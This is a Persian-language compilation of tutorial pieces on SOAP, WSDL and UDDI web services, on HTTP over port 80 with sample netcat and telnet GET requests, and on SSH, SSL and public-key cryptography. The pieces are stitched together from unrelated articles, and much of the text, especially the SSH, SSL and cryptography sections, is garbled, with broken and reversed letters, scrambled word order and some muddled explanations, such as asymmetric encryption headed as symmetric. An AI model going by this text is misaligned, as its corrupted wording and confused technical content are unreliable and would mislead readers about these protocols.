  .  و وب سرویس است SOAP برای استفاده از ITروی آن و نمایانگر اشتياق زیاد صنعت 

وقتی یک برنامه شروع به .  ایجاد روش برای فرستادن دیتا بين سيستم هایی است که بر روی شبکه پخش شده اند SOAPهدف اصلی 
 به وب SOAPیک پيغام . ه ای برای ارتباط و انتقال دیتا بين آن دو هستند  وسيلSOAPارتباط با وب سرویس می کند ، پيغام های 

سرویس فرستاده می شود و یک تابع یا ساب روتين را در آن به اجرا در می آورد به این معنی که این پيغام از وب سرویس تقاضای 
در انتها نيز نتایج را با . ليات خود را آغاز می کند  استفاده کرده و عمSOAPوب سرویس نيز از محتوای پيغام . انجام کاری می کند 

  . دیگر به برنامه اصلی می فرستد SOAPیک پيغام 

این الگو ها شکل پيغام های . ی است XML تشکيل شده از یک سری الگو های XML ، SOAPبه عنوان یک پروتکل مبتنی بر 
XMLند نوع دیتا ها و اطلاعاتی که برای طرف مقابل تفسير کردن متن  را که بر روی شبکه منتقل می شود را مشخص می کند ، مان

 طراحی شده است ولی از آن در دیگر HTTP برای انتقال دیتا بر روی اینترنت و از طریق پروتکل SOAPدر اصل . را آسان کند 
 Firewallد به راحتی می توانند از  استفاده می کننHTTPوقتی که وب سرویس ها از .  نيز می توان استفاده کرد LANها مانند  مدل

  .عبور کنند 

قسمت پوشش برای بسته  . Body ، بدنه یا Envelope ، Headerپوشش یا :  از سه بخش مهم تشکيل شده است SOAPیک پيغام 
يغام های بخش بعدی پ. این بخش محتوای پيغام را توصيف و گيرنده آن را مشخص می کند . بندی کردن کل پيغام به کار می رود 

SOAP ، Header بدنه پيغام .  آن است که یک بخش اختياری می باشد و مطالبی مانند امنيت و مسيریابی را توضيح می دهدSOAP 
ها   هستند و از یک مدل خاص که الگوXMLها بر مبنای  دیتا. های مورد نظر در آن جای می گيرند  بخشی است که دیتا

(Schemas)پيغام های .این الگو ها به گيرنده کمک می کنند تا متن را به درستی تفسير کند .  تبعيت می کنند  آن را توضيح می دهند
SOAPوسط سرور های  تSOAP گرفته و تفسير می شود تا در نتيجه آن ، وب سرویس ها فعال شوند و کار خود را انجام دهند  .  

 تکنولوژی XML-RPCبرای مثال . زیادی پروتکل باید استفاده شود  در وب سرویس استفاده نکنيم از تعداد SOAPبرای اینکه از 
 را بر تکنولوژی های SOAPبه هر حال ، خيلی از سازندگان بزرگ نرم افزار . قدیمی تری بود که همين امکانات را ایجاد می کرد 

پروتکل آن است که فراتر از این متن می  وجود دارد که خيلی از آنها درباره SOAPدلایل زیادی برای انتخاب . دیگر ترجيح دادند 
  .  است Interoperabilityو   Simplicity , Extensibility:  نسبت به تکنولوژی های دیگر SOAP برتری مهم ٣. باشد 

 امکان  اینSOAP.  معمولاً  کدهای زیادی ندارند و برای فرستادن و گرفتن آن به نرم افزار های پيچيده نياز نيست SOAPپيغام های 
 استفاده می کند می تواند XML از SOAPدليل اینکه ه در آخر ب. را به برنامه نویس می دهد تا بنا به نياز خود آن را تغيير دهد 

  . اطلاعات را انتقال بدهد بدون اینکه زبان برنامه نویسی ، سيستم عامل و سخت افزار برای آن مهم باشد HTTPبوسيله 

   

WSDL يا Web Services Description Language:   

همانطور که قبلاً  اشاره کردیم یکی از خواص وب .  است WSDLاستاندارد دیگری که نقش اساسی در وب سرویس بازی می کند  
این . سرویس ها توصيف خود آنهاست به این معنی که وب سرویس دارای اطلاعاتی است که نحوه استفاده از آن را توضيح می دهد 

 که به برنامه ها می گوید این وب سرویس چه اطلاعاتی لازم دارد و چه XML نوشته می شود ، متنی به WSDLر توضيحات د
  .اطلاعاتی را بر می گرداند 

 و دیگر تکنولوژی های وب سرویس را ساختند دریافتند که برنامه ها قبل از SOAPوقتی که سازندگان نرم افزار برای اولين بار 
اما هر کدام از آن سازندگان برای خودشان . تفاده از یک وب سرویس بکنند باید اطلاعاتی درباره آن را داشته باشند اینکه شروع به اس

 و مایکروسافت تصميم IBMوقتی . روشی برای ایجاد این توضيحات ابداع کردند و باعث شد که وب سرویس ها با هم هماهنگ نباشد 
 نسخه Ariba و IBM  مایکروسافت ،٢٠٠١در ماه مارس سال . وجود آمد ه ب   WSDLن کنند گرفتند تا استاندارد های خود را یکسا
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هم اکنون این تکنولوژی در .  بر روی این استاندارد کار کردند و آن را پذیرفتند W3Cگروهی از .  ارائه کردند W3C را به ١٫١
  .سرویس از آن استفاده می کنند ولی هم اکنون اکثر سازندگان وب . دست ساخت است و هنوز کامل نشده 

 است که مشخصات ، مکان و نحوه استفاده از وب WSDLهر وب سرویسی که بر روی اینترنت قرار می گيرد دارای یک فایل 
 نوع پيغام هایی که وب سرویس می فرستد و می گيرد را توضيح می دهد مانند WSDLیک فایل . سرویس را توضيح می دهد 

در تئوری یک برنامه در وب برای یافتن وب سرویس . رنامه صدا زننده برای کار با وب سرویس باید به آن بفرستد پارامترهایی که ب
 اطلاعات مربوط به چگونگی ارتباط با وب سرویس بر WSDLدر .  ها جستجو می کند WSDLمورد نظر خود از روی توضيحات 

  . یا هر پروتکل دیگر نيز وجود دارد HTTPروی 

 پيچيده به WSDLشکل فایلهای .  برای برنامه ها طراحی شده است نه برای خواندن آن توسط انسان WSDLم است که بدانيم این مه
خيلی از نرم افزارهایی که وب سرویس می سازند فایل . جزیه و تحليل بکند ترها می توانند آن را بخوانند و تنظر می آید ولی کامپيو

WSDL نيز توليد می کنند بنابراین وقتی برنامه نویس وب سرویس خود را ساخت به شکل خودکار  مورد نياز وب سرویس را
WSDL مورد نياز با آن نيز ساخته می شود و احتياجی به آموزش دستورات WSDL برای ساختن و استفاده از وب سرویس نيست .  

   

UDDI يا Universal Description , Discovery and Integration:   

 ، به شرکتها و برنامه نویسان اجازه می دهد تا وب سرویس های خود را بر روی UDDIن استاندارد اصلی وب سرویس ها ، سومي 
با .  شرکت بزرگ دیگر ساخته شده است ۵٠ و Ariba و IBMاین استاندارد در اصل بوسيله مایکروسافت ، . اینترنت معرفی کنند 

همان طور که .  ایجاد کنند B2Bعات خود را در اختيار شرکت های دیگر قرار بدهند و مدل  شرکتها می توانند اطلاUDDIاستفاده از 
از نام آن مشخص است شرکت ها می توانند وب سرویس خود را معرفی کنند ، با وب سرویس دیگران آشنا شوند و از آن در سيستم 

اخته شده ، کنسرسيوم از شرکتهای صنعتی در حال کار بر روی  س٢٠٠٠این استاندارد جدیدی است و در سال . های خود استفاده کنند 
  . ارائه شد و نسخه سوم آن در دست ساخت است ٢٠٠١در ماه ژوئن سال   UDDIآن هستند ؛ نسخه دوم 

UDDI یک متن مبتنی بر XML را تعریف می کند که در آن شرکت ها توضيحاتی درباره چگونگی کار وب سرویس شرکتشان و 
شرکت ها می .  توضيح داده شده استفاده می شود UDDIبرای تعریف این اطلاعات از شکل خاصی که در . ود می دهند امکانات خ

 شرکت خود نگهداری کنند و تنها به شرکت های مورد نظرشان اجازه دستيابی به آنها را بدهند یا UDDIتوانند این اطلاعات را در 
 نام UBR یا UDDI ، UDDI Business Registryبزرگترین و مهمترین پایگاه . ر دهند آنها را در مکان عمومی و د اینترنت قرا

 ، IBMاطلاعات این پایگاه در چهار نقطه نگهداری می شود ، مایکروسافت ، .  طراحی و اجرا شده است UDDIدارد و توسط کميته 
SAP و HP . یگر نيز اعمال می شود اطلاعاتی که در یکی از چهار پایگاه تغيير کند در سه تای د .  

 که در آنها اطلاعات تماس شرکت ها و توضيحات متنی آنهاست White Pages. اطلاعات درون این پایگاه ها شبيه دفترچه تلفن است 
 ،Yellow Pages ، حاوی اطلاعات طبقه بندی شده شرکتها و اطلاعات درباره توانایی های الکترونيکی آنها می باشد Green 

Pages  حاوی اطلاعات تکنيکی درباره سرویس های آنها و نحوه پردازش اطلاعات شرکت آنها می باشد ،.  

سپس . اطلاعات تجاری و سرویس های شرکت ها کاملاً  طبقه بندی شده است و اجازه می دهد که به راحتی در آنها جستجو کرد 
 UDDIبا این شرح . را برای خدمات بهتر به هم متصل کنند  می توانند از این اطلاعات استفاده کرده و شرکت ها ITمتخصصان 

  . را ایجاد می کند و شرکتها می توانند از سرویس های یکدیگر استفاده کنند B2Bامکان پياده سازی مدل 

ولات  علاقه نشان داده اند قدرت مند هستند و خيلی از آنها از وب سرویس و استاندارد های آن در محصUDDIشرکت هایی که به 
 یکی از شرکت هایی است که در حال اضافه کردن توضيحاتی به NTT Communications of Tokyo. خود استفاده می کنند 

این چيز عجيبی . در هر حال شرکت ها هنوز کمی درباره وارد کردن خود در پایگاه های عمومی محتاط هستند .  است UDDIساختار 
شرکتهای بزرگ نيز برای مدیریت بر سرویس های خود و . ا فقط برای شرکای خود ایجاد می کنند شرکتها ابتدا این امکانات ر. نيست 

وقتی این استاندارد به حد بلوغ خود برسد و کاربران با آن . اشتراک آنها بين قسمت های مختلف از این استاندارد استفاده می کنند 
  .ومی فراگير خواهد بود احساس راحتی بکنند استفاده از آن نيز در مکان های عم

بعضی نيز اشکال امنيتی بر .  را به روش های قدیمی اجرا کرده بودند مشکل است B2Bاین تغيير رویه برای شرکت های بزرگی که 
 اما با گذشت زمان و کامل شدن این تکنولوژی و درک لزوم استفاده از آن. ان را بدهند  شاین روش می گيرند و مایل نيستند اطلاعات
  .شرکت ها چاره ای جز استفاده از آن ندارند 
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HTTP:   
  

رود           ٨٠این پروتکل معمولا و در اکثر اوقات روی پورت           اط معمولا مي راری ارتب د از برق ط در لحظات اول و بع ه فق ال ميباشد البت  فع
  .ببينيم آقای آراز صمدی در اینباره چه نوشته است !! روی شماره های بالاتر 

  
  
  ت؟سي چ٨٠ پورت -

  

ه ینکه وقتی به یح ايتوض. کنه ن پورت کار میيبر اساس هم) نترنتییصفحات ا(ای وب يدن. هاست ن پورتیتر کی از مهمی ٨٠پورت 

شه و  وتر وصل میي اون کامپ٨٠نترنتی به پورت یم، در واقع مرورگر ايکن م و صفحه وب را درخواست میيش ت وصل مییسا

د که اطلاعات ي دقت کن-ده   صفحه نشون مییککنه و به صورت  ر میي گرفتن اطلاعات اون رو تفسالبته بعد از(ره يگ اطلاعات رو می

  ). است HTMLک سری تگ یدر واقع به صورت 

  

  مي صحبت کن٨٠ با پورت -

  

ا پورت ب) اتصال (connection یکد یاول با .nc و telnetم ولی به کمک يوتر صحبت کنيک کامپی ٨٠م با پورت يخواه حالا ما می

  ):سمید بنوی باhotmail.comت یمثلا برای سا(م ي برقرار کن٨٠

 

telnet www.hotmail.com 80 

nc -v www.hotmail.com 80 

  

  .  بوده و خواهد بودncام استفاده از  هيشه توصيمن هم. ميکی از دستورات بالا را استفاده کنید یپس اول با

د که موقع کار با يدقت کن. اش بمونه واسه بعد هيگم و بق  من فعلا دو تا جمله براتون می.مي کن٨٠د شروع به صحبت با پورت یحالا با

  .کنه شود ولی کار می ش داده نمییم، نمايسینو دستوراتی که ما می) ncنه ( با تلنت ٨٠پورت 

  

 است، فاصله GETه بعد از ی ک/ دو طرف . ديها دقت کن  به فاصلهEnter و بعدش دوتا GET / HTTP/1.0: نهین جمله اي اول-١

  :شنوم و جواب می. ، نشون بده دارد headerچی در  گه که هر  می٨٠ن جمله به پورت یا. وجود دارد

 

HTTP/1.0 302 Moved Temporarily 

Server: Microsoft-IIS/5.0 

Date: Thu, 05 Dec 2002 12:02:51 GMT 

Location: http://lc2.law5.hotmail.passport.com/cgi-bin/login 
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X-Cache: MISS from cache5.neda.net.ir 

Connection: close 

  

شه که هر چی داره، رو ين دستور باعث میا. ديها دقت کن به فاصلهEnter و بعدش دوتا GET / what/ever: نهین جمله اي دوم-٢

  .کنه

  

ی یجو م در وقت صرفهيم و بخواهيورت خاص بفرست پیک سرهم به  د پشتیشه بايک سری دستورات خاص را همیآد که  ش میيگاهی پ

ن دستورات را یتوان ا ن موارد مییدر ا. ميکن شه استفاده میي پشت سرهم که همEnter و دو GET / HTTP/1.0ن جمله يمثلا هم. ميکن

کی از دستورات ید و بعد يره کني ذخali.txtو بعد مثلا با نام ) ديد موقع نوشتن حتما بزنی ها که باEnterهمراه با (پ کرد یل تایک فایدر 

  :ميسیر را بنویز

 

nc -v www.far30.com 80 < ali.txt 

type ali.txt | nc -v www.far30.com 80 

  

  .دهيی را انجام میکه همان کارهای بالا

  

  ر رو مشخص کنميخوام مس ی حالا م-

ه یاول . مي داونلود کنwww.site.com به اسم یتی در ساstartupر ي را از مسindex.html به اسم یلیخوام فا ید که ميمثلا فرض کن

ncميسینو یبعد م. تیم به سايکن ی م : 

GET /startup/index.html HTTP/1.0 

  

 مثل ییها لی فایم برايتون ین کار رو ميهم. شه مشخص کردير رو مي مسیده که چطورين مثال نشون میا. ميزن ی مEnterبعد دو تا 

  : ديسینو یکار م نی ایبرا. ديره کنيل ذخیک فایرسه رو در  ی که مید اطلاعاتيتون ی میم و حتیانجام بد...  و یکي گرافیها لیفا

 

nc -v www.site.com 80 > index.html 

  

که م یفرستاد یم و مينوشت یل می فایک رو تو GETدر بالا دستورات ! کنه یم فرق مي که در بالا نوشتیم با موردی که کردین کاریا(

  : ب کرد مثلا نوشتين دوتا رو ترکیشه ايم!) ميکن یره ميل ذخیک فایگرده رو در  ی که بر میجیم نتای الان داریاجرا بشه ول

 

nc -v www.site.com 80 < dastoorat.txt > index.html 
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 SSHای بر  مقدمه
   

    SSH که مخفف Secure Shellه         می یی اطلاق طور عمومی به برنامه باشد، به  می ه رایان رای دسترسی امن ب ه ب ردد ک ی از راه  گ   ی
ين روش  . گيرد ها، مورد استفاده قرار می      دور، برای اجرای فرامين یا انتقال پرونده       وذگران در      علت اهميت چن دامات معمول نف ایی، اق ه

سته            وای ب اهی از محت رای آگ تفاده از        قالب پویش شبکه ب ا، اس ی و سرقت آدرس     IPه دات سرویس  IPهای   های جعل  و DNSهای   ، تهدی
ر روش ه است دیگ ای حمل دامات    . ه ی اق ن حملات در پ ال هریک از ای ادم، احتم اربر و خ ان ک اطی مي ال ارتب ردن کان ا رمزک لاً ب عم

  .رسد نفوذگران به حداقل می
  

ده دارد اطلاق می         به برنامهSSHکه   با وجود آن       ر عه ه را ب ن وظيف ه ای امی ا    یی ک ی تم ردد، ول ه  گ ن برنام تاندارد واحدی     ی ا از اس ه
. ها نيز وجود داردFTP Clientی  گرفتن وظيفه  برای برعهدهsftpافزاری به نام  ، نرمSSH2در نگارش جدید آن به نام . کنند تبعيت می

ستم SSHهای متنوع  های مختلف برنامه  ميليون کاربر از نسخه٢طبق آمارهای تقریبی ارایه شده، قریب به       های عامل مختلف      تحت سي
  . کنند استفاده می

  
تفاده شده در          تفاوت ميان پروتکل    یی که لازم به گفتن است،        نکته      ا        .  است  SSH2 و   SSH1های اس تاندارد ب ن دو اس ان دیگر ای ه بي ب

د   ازگاری ندارن دیگر س ه  . یک تانداردی ک ی   1SSHاس ت را م ای آن اس ر مبن وان از آدرس   ب ت
txt.draft-1ssh/faq/ssh/com.tigerlair.www://httpه تاندارد     ب اهی از اس رای آگ ت آورد و ب ی2SSHدس ه آدرس   م د ب تواني

html.secsh/wg.by.ids/org.ietf.www://http  تاندارد      .  کنيدمراجعه ن اس شتيبان ای ن وجود    .  است IETFدر حال حاضر، پ ا ای ب
  .کنند که برخی رایگان و برخی تجاری است افزارهایی بر اساس این استاندارد توليد می ها نرم تعداد زیادی از شرکت

  
رم        SSHبرای استفاده از           ه سرویس و ن ادم نصب می                ، نياز ب ه در سوی خ م ک زاری داری ردد   اف رم   . گ وان     پس از آن ن ه عن زاری ب اف

ستم  ها و نرم در حال حاضر سرویس. گردد مخدوم، کانال ارتباطی را ایجاد کرده و ارتباط امن برقرار می     های   افزارهای مخدوم برای سي
ه  ی از جمل ل مختلف انوادهWindows ،Macintoshعام ستمUnix ،PalmOS ،OS/2ی  ، خ تفاده   و سي م اس ل ک ای عام و ه ی همچ ن ی

VMSموجود است .  
  

سه              نکته     ی خاص دارد، مقای ان      یی که در این ميان اهميت تانداردها و             SSH2 و   SSH1ی مي ن اس دام یک از ای د از ک  است و اینکه بای
رم             افزارهای مبتنی بر آن     نرم ان ن را کماک ه      ها استفاده کرد؟ پاسخ به این سؤال چندان ساده نيست زی د ک سياری وجود دارن ر  افزارهای ب  ب

ستم   SSH1 هستند و عملاً این استاندارد       SSH1مبنای   امی سي رم     های عامل و محيط     است که برای تم ه و ن ا توسعه یافت ر    ه ایی ب افزاره
لاً توسعه         . اند  مبنای آن توليد شده    ن وجود عم ا ای ده         SSH1ی    ب رم      متوقف شده است و توليدکنن ان ن ر روی          گ ا ب زار تنه  تمرکز   SSH2اف

وع         ، امکان حملات شناخته شده    SSH1های امنيتی موجود در ساختار        توان به ضعف    ل این تغيير می   از عل . اند  کرده د ن ی مانن -man-inی
the-middleنشده، اشاره کرد بينی  در مورد آن و احتمال رخداد حملات پيش . 
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  SSLامنيتی  پروتکل بر کامل شرحی
  
  
  

SSL ست ؟يچ  
  
  

  :معرفی 
  

Secure Socket Layer   ا همانی SSL ابين   يتام ده برایيک تکنولوژی استاندارد و به ثبت رسی ک وب سرور و  ی ن ارتباطی امن م
ا ب      ن ارتباطیا. نترنت استیک مرورگر ای ه م امی اطلاعاتی ک اربر (  اینترنت  ن وب سرور و مرورگر  يامن از تم ال م   )ک د ی یانتق   ،اب

  .نخورده باقی بماند  صورت محرمانه و دستن انتقال بهیمحافظت ميکند تا در ا
  

• SSL راری امن    ت دریها وب سا ونيک استاندارد صنعتی است و توسط مل ی رای برق ان ب ال اطلاعات   ي سراسر جه ت انتق
  .شودياستفاده م

  
ه  ي را داشته باشد ن SSL ت بتواند ارتباطی امن از نوعیک وب سای نکهیبرای ا ه يگواه کی از ب  دي خواهيکه شما م  ينزما .دارد SSL نام
SSL ا  (مورد هویت سایت شما    د سؤالات متعددی دريرا بر روی سرور خود فعال کن د آدرس س ت شرکت  ی ن طور هو يو هم ) ت یمانن

اه سرور دو کل  . شودي ده مياز شما پرس  ) نام شرکت و محل آن مانند( شما  رای  ي آنگ د  يد مي شما تول  د رمز را ب  د خصوصی ي ک کل، ی کن
(Private Key)  د عمومیيک کلیو (Public Key)  . ه ا  يکل ه است    ی  ا،ن خاطر  ی د خصوصی ب ام را گرفت املا ی  چون با ،ن ن  ستی ک

ه و دور از دسترس د ل ن. رديگران قرارگیمحرمان ا در مقاب ه حفاظت ازيام ومی نيکل ازی ب ل یک فاید در قالب ين کلیست و ايد عم
را   Certificate Signing Request اینامه يدرخواست گواه ام ی م  CSR که به اختصار آن رارداده ين ه حاوی مشخصات    ي م م ق شود ک

اه شما باس   . سرور و شرکت شما بصورت رمز است    ه يآنگ د ی ا تی ک رای صادر   CSR ن ک ده گواه  را ب ه ارسال کن  يکنن در طول  . دي نام
ه درستی اطلاعات وارد شده توسط شما را بررسی و      يمرکز صدور گواه   SSL کی  مراحل سفارش   د و سپس   يد میي تا نام ک یکن

   .کندی د کرده و ارسال ميبرای شما تول SSL نامهيگواه
ا کل  SSL نامهيوب سرور شما گواه دور  يد خصوص ي صادر شده را ب ا   تان در سرور و ب د ين مطابقت م یریاز دسترس س سرور شما   . ده

ای  يده گي چيپ SSL تيل امنش قفینما .را با کاربران خود در هر نقطه دارد آنگاه امکان برقراری ارتباط امن رای   SSL ک پروتکل ی ه ب
اط امن     یا کن مرورگريده است ليکاربران شما پوش راری ارتب ا   ی  وجود ا ،نترنت آنها در صورت برق اط را توسط نم ل  ی  شین ارتب ک قف

ا ک  ی زرد رنگکوچک قفل یه شما روک یو در هنگام. شودين صفحه متذکر میيکوچک در پا ا  IE ن صفحه یيه در پ شود  ی م   دادهشینم
رای شرکتها و اشخاص      SSL نامه هایيگواه .ی شود م اتير جزئینامه شما به همراه سايش گواهید باعث نماينی ک ميکلکدوبار  ا ب تنه

ه . شوندي قی معتبر صادر م يحق ال    ب ه يک گواهی طور مث ورد دام     SSL نام  ، استان  ،شهر   ،  آدرس، شرکت  ،ن يشامل اطلاعاتی در م
ه م ينامه که مسؤول صدور گواه يمرکز صدور گواه نطور اطلاعاتی در موردينامه و هميبطال گواهخ ایکشور و تار که  يزمان . باشد ينام

ر ای ه یک مرورگ ت ب اینترن صل میت از طریک س ن مت اط ام ر در ، شوديق ارتب ت گواهیعلاوه ب هياف وميکل( SSL نام  ،) ید عم
ا    يبر بودن صادرکننده گواه  معت،نامه يابطال گواه خیر تاريی را نظیپارامترها ودن س ه و مجاز ب ه ینام تفاده از ا  ت ب ه ن ين گواهی اس ز ي نام
   .دارديغام اخطار به کاربر اعلام ميک پید نباشد به صورت یيتا کند و هرکدام از موارد که مورديبررسی م

  
  :دينکر مراجعه یت زیگان به سای رايکیترونک الی امضایک ثبت یبرا

http://www.iranssl.com 
  
  
  

  رمزنگاری بر مقدمه ای
 
 یگه محرمان از عبارتند لاتکمش نیا . ندک یم ییخودنما ها تیموجود نيب اطلاعات تبادل هنيزم در عمده لکمش سه باز یها هکشب در
ده  کارسال یفهاطر تیهو دیيتا و ها داده تيتمام ها، داده ده  کافت یدر و نن را  یرمزنگار ی وشها ر . نن ائق  یب دن  ف ر  آم  لاتکمش  نی ا ب

 :از عبارتند عمده یرمزنگار روش ود . شدند یطراح
  

 متقارن یرمزنگار •
  

  نا متقارن یرمزنگار •
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ه  ای  هستند  سانیک  دو هر  ییرمزگشا ديلک و یرمزنگار ديلک متقارن یرمزنگار روش در م  یرو از سهولت  ب ل  ه  . هستند  محاسبه  قاب
 دی با تی موجود دو هر  هک  ست  ا آن دوم لکمش  . ردي گ صورت امن انالک یک قیطر از دیبا هک است ديلک تبادل روش نیا لکمش نياول
 سهولت  روش نی ا یای مزا از .باشد  یم ستميس به دیجد یها تیموجود ورودی سخت زين سوم لکمش .باشند داشته باهم کمشتر ديلک یک
  .برد منا توانيم را آن یبالا سرعت و یساز ادهيپ
 
 

 
  
  متقارن یرمزنگار – ١ لکش
 
 آنها آوردن دست هب هک داردی خصوص ديلک و یعموم ديلک یمهانا با هم به مرتبط ديلک دو یتیموجود هر متقارن نا یرمزنگار روش در
ا  داده . است نکرمميغ باًیتقر  محاسبات لحاظ به گریهمد یرو از ا  هک  ییه ا  شود  رمز  دي لک دو نی ا از یکی  ب شا  گر ید دي لک ب  ییرمزگ
ه  یخصوص  ديلک .شوديم زد  و شده  یتلق  محرمان د يم تی موجود ن ا  مان وم  دي لک ام شر  یعم ابرا  .شودي م منت  گران ید هیک  درصورت  نیبن

 آن خود  اگر  . فرستند یم و نندک یم رمز اش یعموم ديلک با را آن بخواند بتواند یو خود فقط هک نندک ارسال شیبرا یاطلاعات بخواهند
اظر  یعموم ديلک از گرانید و نديکم رمز شتای یخصوص ديلک با را آن ندک امضاء را یغاميپ بخواهد تیموجود را  آن متن از ی ب  ردنکب

وم  دي ل کقي تطب روش نی ا یاصل لکمش .است بوده او طرف از غاميپ هک شوند مطمئن تا نندک یم استفاده غاميپ ا  یعم  است؛  تی موجود ب
 .شد ابداع یعموم ديلک رساختیز لکمش نیا حل یبرا .استX تیموجود یعموم ديلک K هک ردک حاصل نانياطم بتوان یعنی
  

  
  
 متقارن نا یرمزنگار – ٢ لکش
  

   محرمانه گی
 

 رمز  قی طر از یگ ه محرمان . نباشد  فهم قابل رمجازيغ یها تیموجود توسط شده ردوبدل اطلاعات هک است آن یگه محرمان از منظور
ا  تمیالگور دیآ یم دست به یتصادف متقارن ديلک کی با یارسال اطلاعات ردنک ارن ی ه ه  متق د  هک  یشتري ب سرعت  لحاظ  ب  رمز  در دارن
راه  و شود  یم  رمز  رندهيگ یعموم ديلک با زين یتصادف متقارن ديلک .رنديگ یم قرار استفاده مورد اطلاعات بزرگ یها حجم ردنک  هم

د ی یم  را یتصادف متقارن ديلک اش، یخصوص ديلک از استفاده با ابتدا رندهيگ . شود یم فرستاده اطلاعات ا  سپس  و اب تفاده  ب  لک  آن از اس
  .نديکم ییرمزگشا را اطلاعات

 
  

  داده ها تماميت
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 ردن کرمز و یارسال غاميپ Hash مقدار همحاسب با تيتمام .است شده ارسال صورت همان به ها داده افتیدر ها داده تيتمام از منظور
اد  متفاوت، یها غاميپ هک است آن Hash تابع تيخصوص) ی تاليجید یامضا ( شود یم حاصل فرستنده یصخصو ديلک با حاصل   ریمق
Hash مقدار یدارا هک غاميپ دو ردنکدايپ و دارند متفاوت Hash ال يجید یامضا  . است  نکرممي غ  محاسبات  لحاظ  به باشند سانیک  یت
 آزمودن یبرا رندهيگ سمت در .شوديم فرستاده یاصل غاميپ همراه به هک است هفرستند یخصوص ديلک با Hash مقدار ردن کرمز حاصل
د ک یم  حساب را یافتیدر غاميپ Hash مقدار یافتیدر یها داده تيتمام ال يجید یامضا  سپس  و نن ا  را یت وم  دي لک ب تنده  یعم از  فرس ی م  ب
 .شودی م احراز ها داده تيتمام یتساو صورت در نند،ی کم سهیمقا هم با را دو نیا و نندک
 
 

  موجوديت و پيام تصديق
 

ان ياطم زانيم اساس بر تیموجود قیتصد  هنام يگواه یک  توسط  هک  تی موجود آن توسط  یخصوص  دي لک یک  یانحصار  تکي مال از ن
 تیموجود قیتصد یجار یها ستميس ثرکا در هک یدرحال .شوديم انجام مربوطه هناميگواه اعتبار زانيم و شود یم مشخص ٤ یتاليجید

د ک یم  شنهادي پ تیموجود قیتصد یبرا یدیجد راه ها نامهی گواه شوديم انجام عبور هلمک و یاربرک دک براساس  داشتن  آن اساس  هک  ن
ا  غاميپ قیتصد . شود یم استفاده شده رکذ روش دو بکيتر معمولاً عمل در . آنهاست در موجودی عموم ديلک با مرتبط یخصوص ديلک  ب

ا  داده تي متما آزمون از استفاده ام  ه ع  در . شود  یم  انج ام يپ قیتصد  واق ا  داده تي تمام و غ زوم  و لازم ه د یدیک مل ا  داده تي تمام . گرن  ه
 .نشود حفظ ها داده تيتمام اگر ندارد ارزش غاميپ مبدا قیتصد و ندارد یچندان ارزش نشود قیتصد غاميپ مبدا هک یدرصورت

  گواهينامه سرويس گر
 

 هنام يگواه دی با ليدخ یها تیموجود ریسا .دارد برعهده را نامهيگواه ردنک فسخ و تیریمد ردن، کصادر هفيوظ نامهيگواه گر سیسرو
ه يگواه ردن ک صادر  با را خود فیوظا تواند یم گر سیسرو نیا ) بدانند را اش یعموم ديلک ( بشناسند یخوب به را گر سیسرو نیا  نام
ا  سیسرو  مخصوص  یها ه يگواه یگره ه  نام ا  سطح  در یگر ید یاه  تی موجود ب ر  نیيپ د ک محول  ت ه  و ن سله  بي ترت نی ا ب  مراتب  سل

 باشد یم شتريب ییآ ارک و ) مختلف یها استيس یساز ادهيپ ( تر ساده تیریمد ارک نیا از هدف . دهد لکيتش را نامهيگواه گر سیسرو
د  یم  هنام يگواه هري زنج را شهی ر گر  سیسرو  تا شعبه نیآخر از ها نامهيگواه مرتب هدنبال . ه يگواه هر  . نامن ام  شامل  نام  یامضا  و ن

ه يگواه ی یک امضا  . شود  یم  امضا  خودش  توسط  شهیر گر سیسرو هناميگواه .باشد یم آن هنند کصادر ظ  ضامن  نام  آن تي تمام حف
  .است

  

  
  
  نامهيگواه صدور مراتب سلسله – ٣ لکش
  

 SSL لکپروت
 

د  ییها لکپروت .رديگيم قرار استفاده مورد هکشب یرروب ها داده یابیريمس و انتقال یبرا TCP/IP  لکپروت  و LDAP ، IMAP مانن
HTTP لکپروت ییبالا یهلا در TCP/IP شونديم اجرا.  
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  SSL  لکش لکپروت – ۴
 

 با ورسر یک به SSL دیآ یدرم اجرا به انتقال یهلا از بالاتر و اربردک یهلا از تر نیيپا SSL شوديم مشاهده فوق لکش در هک همانطور
ذ  انک ام زين عمل نیا سکع ( دينماناثبات   SSL ريگ سیسرو یک به را خود تیهو هک دهديم اجازه SSL  تيقابل  نيهمچن   )است  ریپ

 : نندک منتقل شده دک صورت به را شان اطلاعات و ندینما جادیا را ینگار رمز امن اتصال یک طرف دو هک دهديم اجازه
 

 . دینما حاصل نانياطم سرور تیهو از هک دهد یم را انکام نیا ريگ سیسرو به تيقابل نیا: SSL هدهند سیسرو تیهو اثبات •
 یعموم ديلک و یگواه اعتبار از یعموم ديلک یرمزنگار استاندارد يکنکت از استفاده با تواند یم SSL ريگیس سرو افزار رمن

 قابل یگواه صدور زکمرا ستيل در سرور، یگواه صدور زکمر هک ندک یبررس توانديم نيهمچن .دینما حاصل نانياطم سرور
  .نه ای دارد قرار خود اعتماد

 
  .دینما دیيتأ را ريگ سیسرو تیهو هک دهد یم اجازه سرور به تيقابل نیا:  SSLريگ سیسرو تیهو اثبات •

  
 شده رمز صورت به را شان اطلاعات هک دهد یم اجازه ريگ سیسرو و سرور افزار نرم دو به تيقابل نیا: SSL امن اتصال •

  .ندینما مبادله
 

 وردکر لکپروت SSL Handshake Protocol و SSL Record Protocol است شده لکيتش ترجزئی  لکپروت دو از SSL لکپروت
SSL یارتباط لکپروت .نديکم فیتعر را ها داده انتقال فرمت SSL وردکر لکپروت از .استفاده هنحو زين SSL ام يپ همبادل  یبرا ا  غ  یه
 :است ریز اهداف به یابيدست ها، غاميپ نیا همبادل از هدف . دینمای م فیتعر را SSL سرور و ريگ سیسرو

 
 

  يرگ سیسرو به سرور تیهو اثبات •
 

  کنند یبانيپشت را آن طرف دو هر هیک بهطور سرور و ريگ سیسرو توسط یرمزنگار تمیالگور انتخاب •
 

  )ی اريختا ( سرور به ريگ سیسرو تیهو اثبات •
 

  کیاشترا ديل کديتول یبرا یعموم ديلک یرمزنگار از تفادهاس •
  

  SSL ه شدی رمزنگار اتصال جادیا •
 

  SSL ارتباطی پروتکل
  

 در باشد،  یم تر عیسر کیاشترا ديلک یرمزنگار .دینمای م استفاده را کیاشترا ديلک و یعموم ديلک یرمزنگار از یبکيتر SSL لکپروت
س  یک . دهد یم ارائه را یتر مطمئن تیهو دیيتأ سیسرو یعموم ديلک یرمزنگار مقابل ا  SSL هجل ام يپ ب  آغاز  SSL Handshake غ

